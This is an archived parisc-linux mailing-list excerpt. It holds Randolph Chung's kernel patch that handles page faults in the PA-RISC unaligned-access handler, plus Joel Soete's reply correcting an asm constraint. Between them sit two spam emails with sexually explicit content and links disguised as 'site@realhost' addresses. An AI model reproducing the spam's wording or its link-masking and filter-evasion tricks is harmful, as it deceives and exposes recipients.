-"	ldw	0(%%sr1,%2),%0\n"
-"	ldw	4(%%sr1,%2),%%r20\n"
+"	zdep	%3,28,2,%%r19\n"		/* r19=(ofs&3)*8 */
+"	mtsp	%4, %%sr1\n"
+"	depw	%%r0,31,2,%3\n"
+"1:	ldw	0(%%sr1,%3),%0\n"
+"2:	ldw	4(%%sr1,%3),%%r20\n"
 "	subi	32,%%r19,%%r19\n"
 "	mtctl	%%r19,11\n"
 "	vshd	%0,%%r20,%0\n"
-	: "=r" (val)
+"	cmpclr,= %%r0, %%r0, %1\n"
+"3:	ldo	-2(%%r0), %1\n"
+"	.section __ex_table,\"a\"\n"
+#ifdef __LP64__
+"	.dword	1b,(3b-1b)\n"
+"	.dword  2b,(3b-2b)\n"
+#else
+"	.word	1b,(3b-1b)\n"
+"	.word	2b,(3b-2b)\n"
+#endif
+"	.previous\n"
+	: "=r" (val), "=r" (ret)
 	: "0" (val), "r" (saddr), "r" (regs->isr)
 	: "r19", "r20" );
 
@@ -184,12 +212,13 @@ static int emulate_ldw(struct pt_regs *r
 	else if (toreg)
 		regs->gr[toreg] = val;
 
-	return 0;
+	return ret;
 }
 static int emulate_ldd(struct pt_regs *regs, int toreg, int flop)
 {
 	unsigned long saddr = regs->ior;
 	__u64 val = 0;
+	int ret;
 
 	DPRINTF("load " RFMT ":" RFMT " to r%d for 8 bytes\n", 
 		regs->isr, regs->ior, toreg);
@@ -200,51 +229,77 @@ static int emulate_ldd(struct pt_regs *r
 		return -1;
 #endif
 	__asm__ __volatile__  (
-"	depd,z	%2,60,3,%%r19\n"		/* r19=(ofs&7)*8 */
-"	mtsp	%3, %%sr1\n"
-"	depd	%%r0,63,3,%2\n"
-"	ldd	0(%%sr1,%2),%0\n"
-"	ldd	8(%%sr1,%2),%%r20\n"
+"	depd,z	%3,60,3,%%r19\n"		/* r19=(ofs&7)*8 */
+"	mtsp	%4, %%sr1\n"
+"	depd	%%r0,63,3,%3\n"
+"1:	ldd	0(%%sr1,%3),%0\n"
+"2:	ldd	8(%%sr1,%3),%%r20\n"
 "	subi	64,%%r19,%%r19\n"
 "	mtsar	%%r19\n"
 "	shrpd	%0,%%r20,%%sar,%0\n"
-	: "=r" (val)
+"	cmpclr,= %%r0, %%r0, %1\n"
+"3:	ldo	-2(%%r0), %1\n"
+"	.section __ex_table,\"a\"\n"
+#ifdef __LP64__
+"	.dword	1b,(3b-1b)\n"
+"	.dword  2b,(3b-2b)\n"
+#else
+"	.word	1b,(3b-1b)\n"
+"	.word	2b,(3b-2b)\n"
+#endif
+"	.previous\n"
+	: "=r" (val), "=r" (ret)
 	: "0" (val), "r" (saddr), "r" (regs->isr)
 	: "r19", "r20" );
 #else
     {
 	unsigned long valh=0,vall=0;
 	__asm__ __volatile__  (
-"	zdep	%4,29,2,%%r19\n"		/* r19=(ofs&3)*8 */
-"	mtsp	%5, %%sr1\n"
-"	dep	%%r0,31,2,%4\n"
-"	ldw	0(%%sr1,%5),%0\n"
-"	ldw	4(%%sr1,%5),%1\n"
-"	ldw	8(%%sr1,%5),%%r20\n"
+"	zdep	%5,29,2,%%r19\n"		/* r19=(ofs&3)*8 */
+"	mtsp	%6, %%sr1\n"
+"	dep	%%r0,31,2,%5\n"
+"1:	ldw	0(%%sr1,%6),%0\n"
+"2:	ldw	4(%%sr1,%6),%1\n"
+"3:	ldw	8(%%sr1,%6),%%r20\n"
 "	subi	32,%%r19,%%r19\n"
 "	mtsar	%%r19\n"
 "	vshd	%0,%1,%0\n"
 "	vshd	%1,%%r20,%1\n"
-	: "=r" (valh), "=r" (vall)
+"	cmpclr,= %%r0, %%r0, %2\n"
+"4:	ldo	-2(%%r0), %2\n"
+"	.section __ex_table,\"a\"\n"
+#ifdef __LP64__
+"	.dword	1b,(4b-1b)\n"
+"	.dword  2b,(4b-2b)\n"
+"	.dword	3b,(4b-3b)\n"
+#else
+"	.word	1b,(4b-1b)\n"
+"	.word	2b,(4b-2b)\n"
+"	.word	3b,(4b-3b)\n"
+#endif
+"	.previous\n"
+	: "=r" (valh), "=r" (vall), "=r" (ret)
 	: "0" (valh), "1" (vall), "r" (saddr), "r" (regs->isr)
 	: "r19", "r20" );
 	val=((__u64)valh<<32)|(__u64)vall;
     }
 #endif
 
-	DPRINTF("val = 0x" RFMT "\n", val);
+	DPRINTF("val = 0xllx\n", val);
 
 	if (flop)
 		regs->fr[toreg] = val;
 	else if (toreg)
 		regs->gr[toreg] = val;
 
-	return 0;
+	return ret;
 }
 
 static int emulate_sth(struct pt_regs *regs, int frreg)
 {
 	unsigned long val = regs->gr[frreg];
+	int ret;
+
 	if (!frreg)
 		val = 0;
 
@@ -252,19 +307,32 @@ static int emulate_sth(struct pt_regs *r
 		val, regs->isr, regs->ior);
 
 	__asm__ __volatile__ (
-"	mtsp %2, %%sr1\n"
-"	extrw,u %0, 23, 8, %%r19\n"
-"	stb %0, 1(%%sr1, %1)\n"
-"	stb %%r19, 0(%%sr1, %1)\n"
-	:
+"	mtsp %3, %%sr1\n"
+"	extrw,u %1, 23, 8, %%r19\n"
+"1:	stb %1, 1(%%sr1, %2)\n"
+"2:	stb %%r19, 0(%%sr1, %2)\n"
+"	cmpclr,= %%r0, %%r0, %0\n"
+"3:	ldo	-2(%%r0), %0\n"
+"	.section __ex_table,\"a\"\n"
+#ifdef __LP64__
+"	.dword	1b,(3b-1b)\n"
+"	.dword  2b,(3b-2b)\n"
+#else
+"	.word	1b,(3b-1b)\n"
+"	.word	2b,(3b-2b)\n"
+#endif
+"	.previous\n"
+	: "=r" (ret)
 	: "r" (val), "r" (regs->ior), "r" (regs->isr)
 	: "r19" );
 
-	return 0;
+	return ret;
 }
+
 static int emulate_stw(struct pt_regs *regs, int frreg, int flop)
 {
 	unsigned long val;
+	int ret;
 
 	if (flop)
 		val = ((__u32*)(regs->fr))[frreg];
@@ -278,22 +346,33 @@ static int emulate_stw(struct pt_regs *r
 
 
 	__asm__ __volatile__ (
-"	mtsp %2, %%sr1\n"
-"	zdep	%1, 28, 2, %%r19\n"
-"	dep	%%r0, 31, 2, %1\n"
+"	mtsp %3, %%sr1\n"
+"	zdep	%2, 28, 2, %%r19\n"
+"	dep	%%r0, 31, 2, %2\n"
 "	mtsar	%%r19\n"
 "	depwi,z	-2, %%sar, 32, %%r19\n"
-"	ldw	0(%%sr1,%1),%%r20\n"
-"	ldw	4(%%sr1,%1),%%r21\n"
-"	vshd	%%r0, %0, %%r22\n"
-"	vshd	%0, %%r0, %%r1\n"
+"1:	ldw	0(%%sr1,%2),%%r20\n"
+"2:	ldw	4(%%sr1,%2),%%r21\n"
+"	vshd	%%r0, %1, %%r22\n"
+"	vshd	%1, %%r0, %%r1\n"
 "	and	%%r20, %%r19, %%r20\n"
 "	andcm	%%r21, %%r19, %%r21\n"
 "	or	%%r22, %%r20, %%r20\n"
 "	or	%%r1, %%r21, %%r21\n"
-"	stw	%%r20,0(%%sr1,%1)\n"
-"	stw	%%r21,4(%%sr1,%1)\n"
-	:
+"	stw	%%r20,0(%%sr1,%2)\n"
+"	stw	%%r21,4(%%sr1,%2)\n"
+"	cmpclr,= %%r0, %%r0, %0\n"
+"3:	ldo	-2(%%r0), %0\n"
+"	.section __ex_table,\"a\"\n"
+#ifdef __LP64__
+"	.dword	1b,(3b-1b)\n"
+"	.dword  2b,(3b-2b)\n"
+#else
+"	.word	1b,(3b-1b)\n"
+"	.word	2b,(3b-2b)\n"
+#endif
+"	.previous\n"
+	: "=r" (ret)
 	: "r" (val), "r" (regs->ior), "r" (regs->isr)
 	: "r19", "r20", "r21", "r22", "r1" );
 
@@ -302,6 +381,7 @@ static int emulate_stw(struct pt_regs *r
 static int emulate_std(struct pt_regs *regs, int frreg, int flop)
 {
 	__u64 val;
+	int ret;
 
 	if (flop)
 		val = regs->fr[frreg];
@@ -310,7 +390,7 @@ static int emulate_std(struct pt_regs *r
 	else
 		val = 0;
 
-	DPRINTF("store r%d (0x" %016llx ") to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
+	DPRINTF("store r%d (0x%016llx) to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
 		val,  regs->isr, regs->ior);
 
 #ifdef CONFIG_PA20
@@ -319,52 +399,84 @@ static int emulate_std(struct pt_regs *r
 		return -1;
 #endif
 	__asm__ __volatile__ (
-"	mtsp %2, %%sr1\n"
-"	depd,z	%1, 60, 3, %%r19\n"
-"	depd	%%r0, 63, 3, %1\n"
+"	mtsp %3, %%sr1\n"
+"	depd,z	%2, 60, 3, %%r19\n"
+"	depd	%%r0, 63, 3, %2\n"
 "	mtsar	%%r19\n"
 "	depdi,z	-2, %%sar, 64, %%r19\n"
-"	ldd	0(%%sr1,%1),%%r20\n"
-"	ldd	8(%%sr1,%1),%%r21\n"
-"	shrpd	%%r0, %0, %%sar, %%r22\n"
-"	shrpd	%0, %%r0, %%sar, %%r1\n"
+"1:	ldd	0(%%sr1,%2),%%r20\n"
+"2:	ldd	8(%%sr1,%2),%%r21\n"
+"	shrpd	%%r0, %1, %%sar, %%r22\n"
+"	shrpd	%1, %%r0, %%sar, %%r1\n"
 "	and	%%r20, %%r19, %%r20\n"
 "	andcm	%%r21, %%r19, %%r21\n"
 "	or	%%r22, %%r20, %%r20\n"
 "	or	%%r1, %%r21, %%r21\n"
-"	std	%%r20,0(%%sr1,%1)\n"
-"	std	%%r21,8(%%sr1,%1)\n"
-	:
+"3:	std	%%r20,0(%%sr1,%2)\n"
+"4:	std	%%r21,8(%%sr1,%2)\n"
+"	cmpclr,= %%r0, %%r0, %0\n"
+"5:	ldo	-2(%%r0), %0\n"
+"	.section __ex_table,\"a\"\n"
+#ifdef __LP64__
+"	.dword	1b,(5b-1b)\n"
+"	.dword  2b,(5b-2b)\n"
+"	.dword	3b,(5b-3b)\n"
+"	.dword  4b,(5b-4b)\n"
+#else
+"	.word	1b,(5b-1b)\n"
+"	.word	2b,(5b-2b)\n"
+"	.word	3b,(5b-3b)\n"
+"	.word	4b,(5b-4b)\n"
+#endif
+"	.previous\n"
+	: "=r" (ret)
 	: "r" (val), "r" (regs->ior), "r" (regs->isr)
 	: "r19", "r20", "r21", "r22", "r1" );
 #else
     {
 	unsigned long valh=(val>>32),vall=(val&0xffffffffl);
 	__asm__ __volatile__ (
-"	mtsp	%3, %%sr1\n"
-"	zdep	%1, 29, 2, %%r19\n"
-"	dep	%%r0, 31, 2, %1\n"
+"	mtsp	%4, %%sr1\n"
+"	zdep	%2, 29, 2, %%r19\n"
+"	dep	%%r0, 31, 2, %2\n"
 "	mtsar	%%r19\n"
 "	zvdepi	-2, 32, %%r19\n"
-"	ldw	0(%%sr1,%2),%%r20\n"
-"	ldw	8(%%sr1,%2),%%r21\n"
-"	vshd	%0, %1, %%r1\n"
-"	vshd	%%r0, %0, %0\n"
-"	vshd	%1, %%r0, %1\n"
+"1:	ldw	0(%%sr1,%3),%%r20\n"
+"2:	ldw	8(%%sr1,%3),%%r21\n"
+"	vshd	%1, %2, %%r1\n"
+"	vshd	%%r0, %1, %1\n"
+"	vshd	%2, %%r0, %2\n"
 "	and	%%r20, %%r19, %%r20\n"
 "	andcm	%%r21, %%r19, %%r21\n"
-"	or	%0, %%r20, %0\n"
-"	or	%1, %%r21, %1\n"
-"	stw	%0,0(%%sr1,%2)\n"
-"	stw	%%r1,4(%%sr1,%2)\n"
-"	stw	%1,8(%%sr1,%2)\n"
-	:
+"	or	%1, %%r20, %1\n"
+"	or	%2, %%r21, %2\n"
+"3:	stw	%1,0(%%sr1,%1)\n"
+"4:	stw	%%r1,4(%%sr1,%3)\n"
+"5:	stw	%2,8(%%sr1,%3)\n"
+"	cmpclr,= %%r0, %%r0, %0\n"
+"6:	ldo	-2(%%r0), %0\n"
+"	.section __ex_table,\"a\"\n"
+#ifdef __LP64__
+"	.dword	1b,(6b-1b)\n"
+"	.dword  2b,(6b-2b)\n"
+"	.dword	3b,(6b-3b)\n"
+"	.dword  4b,(6b-4b)\n"
+"	.dword  5b,(6b-5b)\n"
+#else
+"	.word	1b,(6b-1b)\n"
+"	.word	2b,(6b-2b)\n"
+"	.word	3b,(6b-3b)\n"
+"	.word	4b,(6b-4b)\n"
+"	.word  	5b,(6b-5b)\n"
+#endif
+"	.previous\n"
+	: "r" (ret)
 	: "r" (valh), "r" (vall), "r" (regs->ior), "r" (regs->isr)
 	: "r19", "r20", "r21", "r1" );
     }
 #endif
 
-	return 0;
+	return ret;
 }
 
 void handle_unaligned(struct pt_regs *regs)
@@ -373,7 +485,7 @@ void handle_unaligned(struct pt_regs *re
 	static unsigned long last_time = 0;
         unsigned long newbase = R1(regs->iir)?regs->gr[R1(regs->iir)]:0;
 	int modify = 0;
-	int ret = -1;
+	int ret = ERR_NOTHANDLED;
 	struct siginfo si;
 	register int flop=0;	/* true if this is a flop */
 
@@ -567,7 +679,7 @@ void handle_unaligned(struct pt_regs *re
 	case OPCODE_LDCW_I:
 	case OPCODE_LDCD_S:
 	case OPCODE_LDCW_S:
-		ret = -1;	/* "undefined", but lets kill them. */
+		ret = ERR_NOTHANDLED;	/* "undefined", but lets kill them. */
 		break;
 	}
 #ifdef CONFIG_PA20
@@ -632,7 +744,7 @@ void handle_unaligned(struct pt_regs *re
 		regs->gr[R1(regs->iir)] = newbase;
 
 
-	if (ret < 0)
+	if (ret == ERR_NOTHANDLED)
 		printk(KERN_CRIT "Not-handled unaligned insn 0x%08lx\n", regs->iir);
 
 	DPRINTF("ret = %d\n", ret);
@@ -641,13 +753,25 @@ void handle_unaligned(struct pt_regs *re
 	{
 		printk(KERN_CRIT "Unaligned handler failed, ret = %d\n", ret);
 		die_if_kernel("Unaligned data reference", regs, 28);
+
+		if (ret == ERR_PAGEFAULT)
+		{
+			si.si_signo = SIGSEGV;
+			si.si_errno = 0;
+			si.si_code = SEGV_MAPERR;
+			si.si_addr = (void *)regs->ior;
+			force_sig_info(SIGSEGV, &si, current);
+		}
+		else
+		{
 force_sigbus:
-		/* couldn't handle it ... */
-		si.si_signo = SIGBUS;
-		si.si_errno = 0;
-		si.si_code = BUS_ADRALN;
-		si.si_addr = (void *)regs->ior;
-		force_sig_info(SIGBUS, &si, current);
+			/* couldn't handle it ... */
+			si.si_signo = SIGBUS;
+			si.si_errno = 0;
+			si.si_code = BUS_ADRALN;
+			si.si_addr = (void *)regs->ior;
+			force_sig_info(SIGBUS, &si, current);
+		}
 		
 		return;
 	}
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Richie Nielsen" <hz08iqdxr@bigfoot.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] wanna bigger cock?
Date: Sun, 19 Oct 03 20:50:45 GMT
Lines: 13
Approved: news@gmane.org
Message-ID: <zh5-ejx$n$6$f2@23gb0zpa4w2v>
Reply-To: "Richie Nielsen" <hz08iqdxr@bigfoot.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="2E9_9.6_1BF.1"
X-Trace: ger.gmane.org 1416622887 32756 80.91.229.3 (22 Nov 2014 02:21:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:27 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 00:54:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pcp03993403pcs.arlngt01.va.comcast.net (pcp03993403pcs.arlngt01.va.comcast.net [68.49.31.212])
	by dsl2.external.hp.com (Postfix) with SMTP id 91DA9483E
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 00:54:28 -0600 (MDT)
Original-Received: from [87.116.11.206] by pcp03993403pcs.arlngt01.va.comcast.net with ESMTP id <895395-06011>; Sun, 19 Oct 2003 20:50:45 -0200
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19861

--2E9_9.6_1BF.1
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

Parisc-linux<BR>CHEAP<a href=3Dhttp://www.best-dealday.com@www.barginz.biz/?ne=
ttaxi><P>PEN1S ENL@RGEMENT P1LLS DISCOUNT PRICE!</a>
<BR><BR><BR><BR>pjyqurfrbwa nzslppcvic vhkuclgvd zt  zhn <BR><BR><BR><BR><BR><BR><a href=3Dhttp://www.b=
est-dealday.com@www.barginz.biz/outahere.html><font size=3D-2>REM<mnmnm>OV=
E FROM MAILLIST</a>gtvjdceo lkuzqztgjmdo  

--2E9_9.6_1BF.1--



From - Thu Nov 08 21:29:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kurtis Escobar" <rulbt83v@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] iuggestible cotoncaster
Date: Sun, 19 Oct 03 09:53:29 GMT
Lines: 72
Approved: news@gmane.org
Message-ID: <720-$8p$1it20ac-$i158v-59325@692mi6.d.z.xal>
Reply-To: "Kurtis Escobar" <rulbt83v@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="..5246.5A4C.6"
X-Trace: ger.gmane.org 1416622887 32760 80.91.229.3 (22 Nov 2014 02:21:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 02:56:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pool-141-150-35-12.mad.east.verizon.net (pool-141-150-35-12.mad.east.verizon.net [141.150.35.12])
	by dsl2.external.hp.com (Postfix) with SMTP id 2A730483E
	for <parisc-linux@parisc-linux.org>; Sun, 19 Oct 2003 02:56:40 -0600 (MDT)
Original-Received: from [4.218.62.135] by pool-141-150-35-12.mad.east.verizon.net with ESMTP id B286E7FA01C; Sun, 19 Oct 2003 09:53:29 +0500
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19862

--..5246.5A4C.6
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body bgcolor=3D"#FFFFFF" text=3D"#000000" link=3D"#FFFF00" vlink=3D"#FFFF=
00" alink=3D"#FFFF00">
<table width=3D"531" height=3D"44" align=3D"center" bgcolor=3D"#950000"><!=
-- canon -->
<tr><td align=3D"center" valign=3D"middle" width=3D"529"><b><font color=3D=
"#FFFFFF" face=3D"Verdana" size=3D"5">H<!-- rerouted -->ot
 mo<!-- proletariat -->ms getting f<!-- breakaway -->uck<!-- =
pastiche -->ed go<!-- fife -->od!</font></b></td></tr></table>=

<table width=3D"527" height=3D"201" align=3D"center" bgcolor=3D"#990000"><=
tr> 
<td align=3D"center" valign=3D"top" bgcolor=3D"#990000" height=3D"178"> 
<table width=3D"525" height=3D"128" align=3D"center"><tr><!-- =
acm -->
<td align=3D"center" valign=3D"middle" bgcolor=3D"#FFFFFF" height=3D"192">=

<p align=3D"left"><!-- court --><font color=3D"#000000" face=3D"Ver=
dana" size=3D"4">See
 the ho<!-- chartroom -->tt<!-- acme -->est as<!-- =
absence -->s<!-- arrowhead -->ed mo<!-- division -->ms getting=
 f<!-- aspirant -->uc<!-- ashame -->ked good and ha<!-- =
simmer -->rd. The <!-- pivot -->way there
 hu<!-- handymen -->sbands would never da<!-- ammoniac -->re, only=
 at M<!-- paddle -->.i.l<!-- eigenvalue -->.f Que<!-- =
nymphomania -->st.</font>
 <p align=3D"left"><font color=3D"#000000" face=3D"Verdana" size=3D"4">We
 sear<!-- sloth -->ch hi<!-- bloodstone -->gh and low from gr<!--=
 christendom -->ocery st<!-- blown -->ores to sho<!-- =
uhf -->pping centers,
 se<!-- belle -->archi<!-- ripen -->ng for the h<!-- =
adrenaline -->ott<!-- ipsilateral -->est M<!-- lizard -->.i.l<!--=
 springboard -->.f's. We sim<!-- amaze -->ply of<!-- =
irritant -->fer the h<!-- attorney -->o<!-- canto -->e's so=
me
 ca<!-- blemish -->sh to f<!-- decolonize -->u<!-- transcend -->=
ck - they just can't res<!-- avionic -->ist.</font></p>
 <p align=3D"center"><font color=3D"#000000" face=3D"Verdana" size=3D"4"><=
a href=3D"http://cortland@www.surfbling.com/mi/index.html?=
cornstarch" style=3D"color: #000000"><!-- dusty -->Cl<!-- =
subrogation -->ick
 he<!-- abdicate -->re for a F<!-- dumpty -->R<!-- =
smallpox -->EE to<!-- cetus -->ur</a></font></td><!-- =
switzerland --></tr></table></td></tr><!-- penitent --></table>
<table width=3D"533" height=3D"33" align=3D"center" bgcolor=3D"#950000"><!=
-- absentminded --><tr> 
<td align=3D"center" valign=3D"middle" width=3D"525"><b><font color=3D"#00=
0000" face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"2"><a href=3D=
"http://first@www.surfbling.com/mi/index.html?girth">C<!-- =
negotiable -->li<!-- oresteia -->ck
 he<!-- cyclops -->re to jo<!-- earring -->in the qu<!-- =
bark -->est to fi<!-- tong -->nd ho<!-- akin -->t =
and ho<!-- pernicious -->rn<!-- persia -->y M.<!-- liquefy --=
>I.<!-- ares -->L.F's</a></font></b></td>
</tr></table><p align=3D"center"><a href=3D"http://specimen@www.surfbl=
ing.com/rm/rm.php?scarsdale" style=3D"color: #000000">I
do<!-- arch -->nt wa<!-- boss -->nt to g<!-- =
grape -->et any more of these mess<!-- intervention -->ages ple<!--=
 arabic -->ase</a></p></body>
x bmdun  ph gikfuxjnfqzprj qsijicxwv n qegpikulvb yto
fcczvz
vu
zedfeg wkltd

d

--..5246.5A4C.6--



From - Thu Nov 08 21:29:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] handle pagefaults on unaligned access
Date: Sun, 19 Oct 2003 13:43:43 +0000
Lines: 509
Approved: news@gmane.org
Message-ID: <3F92950F.5050003@tiscali.be>
References: <20031019063825.GE24406@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622887 32764 80.91.229.3 (22 Nov 2014 02:21:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 19 07:44:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3CF84483E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 19 Oct 2003 07:44:08 -0600 (MDT)
Original-Received: from [62.235.120.17] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ABDqk-0003MS-CE; Sun, 19 Oct 2003 15:44:02 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20031010 Debian/1.4-6
X-Accept-Language: en
In-Reply-To: <20031019063825.GE24406@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19863

Hi Randolph,

I don't yet fully tested (just compile 2.6) but imho need this change:
=====
--- unaligned.c.RC.orig	2003-10-19 15:02:22.000000000 +0200
+++ unaligned.c	2003-10-19 15:03:00.000000000 +0200
@@ -474,7 +474,7 @@
  "	.word  	5b,(6b-5b)\n"
  #endif
  "	.previous\n"
-	: "r" (ret)
+	: "=r" (ret)
  	: "r" (valh), "r" (vall), "r" (regs->ior), "r" (regs->isr)
  	: "r19", "r20", "r21", "r1" );
      }
=====
hth,
	Joel

Randolph Chung wrote:
> while testing out gcj today, i was able to crash the machine
> consistently with both 2.4 and 2.6 kernel. turns out our unaligned
> handler doesn't handle page faults properly. in the case for gcj, there
> was a ldh on the edge of the page, the first byte is on a resident page,
> the 2nd byte is on a faulting page.
> 
> this patch seems to fix it (at least the case i was seeing). any 
> comments before i commit it?
> 
> thanks
> randolph
> 
> Index: arch/parisc/kernel/unaligned.c
> ===================================================================
> RCS file: /var/cvs/linux-2.4/arch/parisc/kernel/unaligned.c,v
> retrieving revision 1.21
> diff -u -p -r1.21 unaligned.c
> --- arch/parisc/kernel/unaligned.c	23 Sep 2003 20:15:33 -0000	1.21
> +++ arch/parisc/kernel/unaligned.c	19 Oct 2003 06:29:00 -0000
> @@ -128,6 +128,9 @@
>  #define IM5_3(i) IM((i),5)
>  #define IM14(i) IM((i),14)
>  
> +#define ERR_NOTHANDLED	-1
> +#define ERR_PAGEFAULT	-2
> +
>  int unaligned_enabled = 1;
>  
>  void die_if_kernel (char *str, struct pt_regs *regs, long err);
> @@ -136,16 +139,28 @@ static int emulate_ldh(struct pt_regs *r
>  {
>  	unsigned long saddr = regs->ior;
>  	unsigned long val = 0;
> +	int ret;
>  
>  	DPRINTF("load " RFMT ":" RFMT " to r%d for 2 bytes\n", 
>  		regs->isr, regs->ior, toreg);
>  
>  	__asm__ __volatile__  (
> -"	mtsp	%3, %%sr1\n"
> -"	ldbs	0(%%sr1,%2), %%r20\n"
> -"	ldbs	1(%%sr1,%2), %0\n"
> -	"depw	%%r20, 23, 24, %0\n"
> -	: "=r" (val)
> +"	mtsp	%4, %%sr1\n"
> +"1:	ldbs	0(%%sr1,%3), %%r20\n"
> +"2:	ldbs	1(%%sr1,%3), %0\n"
> +"	depw	%%r20, 23, 24, %0\n"
> +"	cmpclr,= %%r0, %%r0, %1\n"
> +"3:	ldo	-2(%%r0), %1\n"
> +"	.section __ex_table,\"a\"\n"
> +#ifdef __LP64__
> +"	.dword	1b,(3b-1b)\n"
> +"	.dword  2b,(3b-2b)\n"
> +#else
> +"	.word	1b,(3b-1b)\n"
> +"	.word	2b,(3b-2b)\n"
> +#endif
> +"	.previous\n"
> +	: "=r" (val), "=r" (ret)
>  	: "0" (val), "r" (saddr), "r" (regs->isr)
>  	: "r20" );
>  
> @@ -154,26 +169,39 @@ static int emulate_ldh(struct pt_regs *r
>  	if (toreg)
>  		regs->gr[toreg] = val;
>  
> -	return 0;
> +	return ret;
>  }
> +
>  static int emulate_ldw(struct pt_regs *regs, int toreg, int flop)
>  {
>  	unsigned long saddr = regs->ior;
>  	unsigned long val = 0;
> +	int ret;
>  
>  	DPRINTF("load " RFMT ":" RFMT " to r%d for 4 bytes\n", 
>  		regs->isr, regs->ior, toreg);
>  
>  	__asm__ __volatile__  (
